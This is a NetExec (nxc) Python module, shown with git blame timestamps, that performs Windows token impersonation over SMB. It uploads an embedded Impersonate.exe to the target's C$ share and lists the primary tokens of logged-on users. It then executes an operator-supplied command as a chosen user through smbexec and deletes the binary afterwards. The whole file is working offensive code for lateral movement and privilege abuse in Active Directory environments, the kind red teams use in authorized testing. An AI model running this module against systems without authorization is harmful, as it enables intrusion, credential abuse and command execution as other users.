2023-09-14 21:07:15 +00:00
|
|
|
# Impersonate module for nxc
|
2022-10-29 09:55:34 +00:00
|
|
|
# Author of the module : https://twitter.com/Defte_
|
2023-07-08 15:38:48 +00:00
|
|
|
# Impersonate: https://github.com/sensepost/Impersonate
|
|
|
|
# Token manipulation blog post https://sensepost.com/blog/2022/abusing-windows-tokens-to-compromise-active-directory-without-touching-lsass/
|
2022-10-29 09:55:34 +00:00
|
|
|
|
2022-10-27 10:21:46 +00:00
|
|
|
from base64 import b64decode
|
2022-10-29 09:52:48 +00:00
|
|
|
from os import path
|
2023-10-12 20:03:37 +00:00
|
|
|
import sys
|
2022-07-04 12:44:35 +00:00
|
|
|
|
2023-10-24 20:43:14 +00:00
|
|
|
from nxc.paths import DATA_PATH
|
|
|
|
|
2023-07-08 15:38:48 +00:00
|
|
|
|
2023-09-23 01:10:21 +00:00
|
|
|
class NXCModule:
|
2022-07-04 12:44:35 +00:00
|
|
|
name = "impersonate"
|
2023-05-08 18:39:36 +00:00
|
|
|
description = "List and impersonate tokens to run command as locally logged on users"
|
2022-07-04 12:44:35 +00:00
|
|
|
supported_protocols = ["smb"]
|
2023-09-23 01:10:21 +00:00
|
|
|
opsec_safe = True # could be flagged
|
2022-07-04 12:44:35 +00:00
|
|
|
multiple_hosts = True
|
|
|
|
|
|
|
|
def options(self, context, module_options):
|
2023-09-23 01:10:21 +00:00
|
|
|
"""
|
|
|
|
TOKEN // Token id to usurp
|
|
|
|
EXEC // Command to exec
|
|
|
|
IMP_EXE // Path to the Impersonate binary on your local computer
|
|
|
|
"""
|
2022-07-04 12:44:35 +00:00
|
|
|
self.tmp_dir = "C:\\Windows\\Temp\\"
|
|
|
|
self.share = "C$"
|
|
|
|
self.tmp_share = self.tmp_dir.split(":")[1]
|
|
|
|
self.impersonate = "Impersonate.exe"
|
2022-10-29 09:52:48 +00:00
|
|
|
self.useembeded = True
|
2022-10-27 19:32:55 +00:00
|
|
|
self.token = self.cmd = ""
|
2023-10-24 20:43:14 +00:00
|
|
|
with open(path.join(DATA_PATH, ("impersonate_module/impersonate.bs64"))) as impersonate_file:
|
|
|
|
self.impersonate_embedded = b64decode(impersonate_file.read())
|
2022-10-29 09:52:48 +00:00
|
|
|
if "EXEC" in module_options:
|
|
|
|
self.cmd = module_options["EXEC"]
|
2022-10-27 19:32:55 +00:00
|
|
|
|
2022-10-29 09:52:48 +00:00
|
|
|
if "TOKEN" in module_options:
|
|
|
|
self.token = module_options["TOKEN"]
|
|
|
|
|
|
|
|
if "IMP_EXE" in module_options:
|
|
|
|
self.imp_exe = module_options["IMP_EXE"]
|
|
|
|
self.useembeded = False
|
2022-07-04 12:44:35 +00:00
|
|
|
|
2022-07-09 16:34:35 +00:00
|
|
|
def list_available_primary_tokens(self, _, connection):
|
2022-10-27 10:21:46 +00:00
|
|
|
command = f"{self.tmp_dir}Impersonate.exe list"
|
2022-07-09 16:34:35 +00:00
|
|
|
return connection.execute(command, True)
|
2023-07-08 15:38:48 +00:00
|
|
|
|
2023-09-23 01:10:21 +00:00
|
|
|
def on_admin_login(self, context, connection):
|
2022-10-29 09:52:48 +00:00
|
|
|
if self.useembeded:
|
|
|
|
file_to_upload = "/tmp/Impersonate.exe"
|
2023-10-12 20:03:37 +00:00
|
|
|
|
|
|
|
try:
|
|
|
|
with open(file_to_upload, "wb") as impersonate:
|
|
|
|
impersonate.write(self.impersonate_embedded)
|
2023-10-15 17:31:51 +00:00
|
|
|
except FileNotFoundError:
|
2023-10-12 20:03:37 +00:00
|
|
|
context.log.fail(f"Impersonate file specified '{file_to_upload}' does not exist!")
|
|
|
|
sys.exit(1)
|
2022-10-29 09:52:48 +00:00
|
|
|
else:
|
|
|
|
if path.isfile(self.imp_exe):
|
|
|
|
file_to_upload = self.imp_exe
|
|
|
|
else:
|
2023-07-08 15:38:48 +00:00
|
|
|
context.log.error(f"Cannot open {self.imp_exe}")
|
2023-10-24 20:43:14 +00:00
|
|
|
sys.exit(1)
|
2022-07-04 12:44:35 +00:00
|
|
|
|
2023-07-23 15:03:17 +00:00
|
|
|
context.log.display(f"Uploading {self.impersonate}")
|
2023-09-23 01:10:21 +00:00
|
|
|
with open(file_to_upload, "rb") as impersonate:
|
2022-07-04 12:44:35 +00:00
|
|
|
try:
|
2023-05-08 18:39:36 +00:00
|
|
|
connection.conn.putFile(self.share, f"{self.tmp_share}{self.impersonate}", impersonate.read)
|
2023-09-20 15:59:16 +00:00
|
|
|
context.log.success("Impersonate binary successfully uploaded")
|
2022-07-04 12:44:35 +00:00
|
|
|
except Exception as e:
|
2023-07-23 15:03:17 +00:00
|
|
|
context.log.fail(f"Error writing file to share {self.tmp_share}: {e}")
|
2022-07-04 12:44:35 +00:00
|
|
|
return
|
|
|
|
|
|
|
|
try:
|
2022-10-27 19:32:55 +00:00
|
|
|
if self.cmd == "" or self.token == "":
|
2023-09-20 15:59:16 +00:00
|
|
|
context.log.display("Listing available primary tokens")
|
2022-07-09 16:34:35 +00:00
|
|
|
p = self.list_available_primary_tokens(context, connection)
|
2022-07-04 12:44:35 +00:00
|
|
|
for line in p.splitlines():
|
2023-07-08 15:38:48 +00:00
|
|
|
token, token_integrity, token_owner = line.split(" ", 2)
|
|
|
|
context.log.highlight(f"Primary token ID: {token:<2} {token_integrity:<6} {token_owner}")
|
2022-07-04 12:44:35 +00:00
|
|
|
else:
|
2022-07-09 16:34:35 +00:00
|
|
|
impersonated_user = ""
|
|
|
|
p = self.list_available_primary_tokens(context, connection)
|
|
|
|
for line in p.splitlines():
|
2023-07-08 15:38:48 +00:00
|
|
|
token_id, token_integrity, token_owner = line.split(" ", 2)
|
2022-10-27 10:21:46 +00:00
|
|
|
if token_id == self.token:
|
|
|
|
impersonated_user = token_owner.strip()
|
2022-07-09 16:34:35 +00:00
|
|
|
break
|
2022-10-27 10:21:46 +00:00
|
|
|
|
2023-09-23 01:10:21 +00:00
|
|
|
if impersonated_user:
|
2023-07-23 15:03:17 +00:00
|
|
|
context.log.display(f"Executing {self.cmd} as {impersonated_user}")
|
2023-09-23 01:10:21 +00:00
|
|
|
command = f'{self.tmp_dir}Impersonate.exe exec {self.token} "{self.cmd}"'
|
2023-05-08 18:39:36 +00:00
|
|
|
for line in connection.execute(command, True, methods=["smbexec"]).splitlines():
|
2022-10-27 10:21:46 +00:00
|
|
|
context.log.highlight(line)
|
2022-07-09 16:34:35 +00:00
|
|
|
else:
|
2023-09-20 15:59:16 +00:00
|
|
|
context.log.fail("Invalid token ID submitted")
|
2022-07-09 16:34:35 +00:00
|
|
|
|
2022-07-04 12:44:35 +00:00
|
|
|
except Exception as e:
|
2023-07-23 15:03:17 +00:00
|
|
|
context.log.fail(f"Error runing command: {e}")
|
2022-07-04 12:44:35 +00:00
|
|
|
finally:
|
|
|
|
try:
|
2023-05-08 18:39:36 +00:00
|
|
|
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}")
|
2023-09-20 15:59:16 +00:00
|
|
|
context.log.success("Impersonate binary successfully deleted")
|
2022-07-04 12:44:35 +00:00
|
|
|
except Exception as e:
|
2023-07-23 15:03:17 +00:00
|
|
|
context.log.fail(f"Error deleting Impersonate.exe on {self.share}: {e}")
|